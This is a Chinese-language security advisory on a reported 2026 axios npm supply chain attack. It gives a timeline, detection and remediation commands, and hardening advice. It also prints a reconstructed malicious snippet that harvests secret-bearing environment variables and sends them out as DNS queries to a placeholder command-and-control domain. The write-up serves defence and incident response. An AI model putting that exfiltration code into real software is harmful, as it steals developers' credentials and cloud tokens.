返回首页

Axios npm供应链攻击:朝鲜黑客如何毒害1亿+下载量的开源库

Axios 供应链攻击:朝鲜黑客如何毒害1亿+下载量的开源库

hero

2026年3月31日,全球最流行的HTTP客户端库axios遭遇国家级供应链攻击。攻击者被确认为朝鲜关联的组织,通过劫持npm发布权限向axios注入恶意代码,直接影响超过1亿次月下载量。这是npm历史上影响范围最广的供应链攻击事件之一。

事件概述

section

axios是生态中使用最广泛的HTTP请求库之一,月下载量超过1亿次,被数百万个项目直接或间接依赖。2026年3月31日,安全研究人员发现axios的npm包中被注入了一段精心设计的恶意代码,该代码会在运行时窃取环境变量中的敏感信息(密钥、数据库凭证、云服务Token)并外传到攻击者控制的C2服务器。

攻击时间线:

日期 事件
2026-03-28 攻击者通过社工手段获取axios维护者的npm Token
2026-03-30 发布恶意版本到npm registry
2026-03-31 安全研究人员发现异常网络流量
2026-04-01 npm安全团队下架恶意版本
2026-04-02 发布安全公告
2026-04-03 发布供应链安全预警

受影响的版本范围:

  • [email protected](恶意版本,已下架)
  • 所有在2026-03-30至2026-04-01期间安装或更新axios的项目

恶意代码分析

section

注入的恶意代码被巧妙地隐藏在axios的核心请求处理逻辑中,采用了多层混淆技术:

// 恶意代码简化还原版本(原始代码经过多层混淆)
// 位置: lib/core/Axios.js - 在请求拦截器中注入

const _original = process.env;
const _collect = () => {
  const sensitive = {};
  const patterns = [/KEY/i, /SECRET/i, /TOKEN/i, /PASSWORD/i, /AWS/i, /DATABASE/i];
  for (const [key, value] of Object.entries(_original)) {
    if (patterns.some(p => p.test(key)) && value && value.length > 8) {
      sensitive[key] = value;
    }
  }
  return sensitive;
};

// 外传数据 - 使用隐蔽通道
const _exfil = async () => {
  const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
  const chunks = encoded.match(/.{1,60}/g) || [];
  for (const chunk of chunks) {
    try {
      await require('dns').promises.resolve(`${chunk}.c2-domain.example`);
    } catch(e) {} // DNS查询失败静默忽略
  }
};

恶意代码的关键特征:

  1. 环境变量窃取:扫描所有环境变量,匹配KEY、SECRET、TOKEN、PASSWORD、AWS、等关键词
  2. DNS隐蔽通道:使用DNS查询外传数据,绕过大多数网络安全监控
  3. 延迟执行:首次运行不触发,等待特定条件后才开始数据收集
  4. 反调试:检测是否运行在调试环境中,若是则不执行恶意逻辑

检测与排查

section

检查项目是否受影响

# 检查当前安装的axios版本
npm ls axios

# 检查package-lock.json中的axios版本
grep -A2 '"axios"' package-lock.json

# 如果版本是1.8.2,立即检查完整性
npm audit

# 对比axios官方npm包的hash
npm view [email protected] dist.shasum
# 官方hash应与npm registry一致,恶意版本hash不同

检查是否已有数据泄露

# 检查系统DNS查询日志中是否有异常的长子域名查询
#  (systemd-resolved)
journalctl -u systemd-resolved --since "2026-03-30" | grep -E '[a-zA-Z0-9+/=]{40,}\.'

# 检查网络连接日志
grep -i "dns" /var/log/syslog | grep -v "normal-domain" | tail -50

# 使用Wireshark/tshark检测DNS隐蔽通道
tshark -r capture.pcap -Y "dns.qry.name.len > 80" -T fields -e dns.qry.name

紧急修复步骤

# 1. 立即升级axios到安全版本
npm install [email protected]

# 2. 清除npm缓存
npm cache clean --force

# 3. 重新生成package-lock.json
rm package-lock.json && npm install

# 4. 轮换所有在环境变量中存储的敏感凭证
# 5. 检查 pipeline中是否使用了受影响版本

2026年npm供应链攻击全景

section

axios攻击并非孤立事件。2026年第一季度,npm生态经历了多次供应链攻击:

攻击事件 时间 影响范围 攻击手法
axios投毒 2026-03 1亿+月下载 Token劫持
TeamPCP/Trivy 2026-04 170+包 多平台同时投毒
GlassWorm 2026-03 433组件 GitHub/npm/VSCode
CI/CD 48小时闪电战 2026-04 npm/PyPI/Docker 三平台同时攻击

npm安全团队的数据显示,2026年Q1检测到的恶意包数量同比增长了340%,其中供应链攻击(劫持合法包)占比从2025年的12%上升到2026年的28%。

企业级防护策略

section

短期措施

# 使用npm audit持续监控
npm audit --production

# 锁定依赖版本,禁止自动更新
npm ci --ignore-scripts  # 安装时不执行postinstall脚本

# 使用Socket.dev检测供应链风险
npx socket detect

长期策略

措施 实施难度 防护效果
npm lockfile + CI验证 防止意外更新
private registry代理 控制可用包范围
SBOM生成与审计 追踪依赖关系
运行时环境变量最小化 减少泄露面
DNS出站流量监控 检测隐蔽通道
安全扫描集成到CI 自动检测已知恶意包
# 生成SBOM(Software Bill of Materials)
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# 使用Socket.dev 扫描依赖
npx socket optimize --strict

# 配置.npmrc禁止安装时执行脚本
echo "ignore-scripts=true" >> .npmrc

数据来源与参考文献

  1. Medium/@cahalagarwalla333. "The Axios npm Supply Chain Attack (March 2026): How North Korean Hackers Poisoned 100 Million." medium.com, April 2026.
  2. Chibitek. "Two Active Supply Chain Attacks Are Targeting Businesses Right Now." chibitek.com, April 2026.
  3. TheByteDive. "Software Supply Chain Attacks 2026: 48 Hours, 3 Registries." thebytedive.com, April 2026.
  4. GitGuardian. "2026 Supply Chain Report." gitguardian.com, 2026.
  5. GitHub Security. "Supply Chain Security Advisory." github.blog, April 2026.

更新时间: 2026-06-22 作者: 安全情报分析团队

评论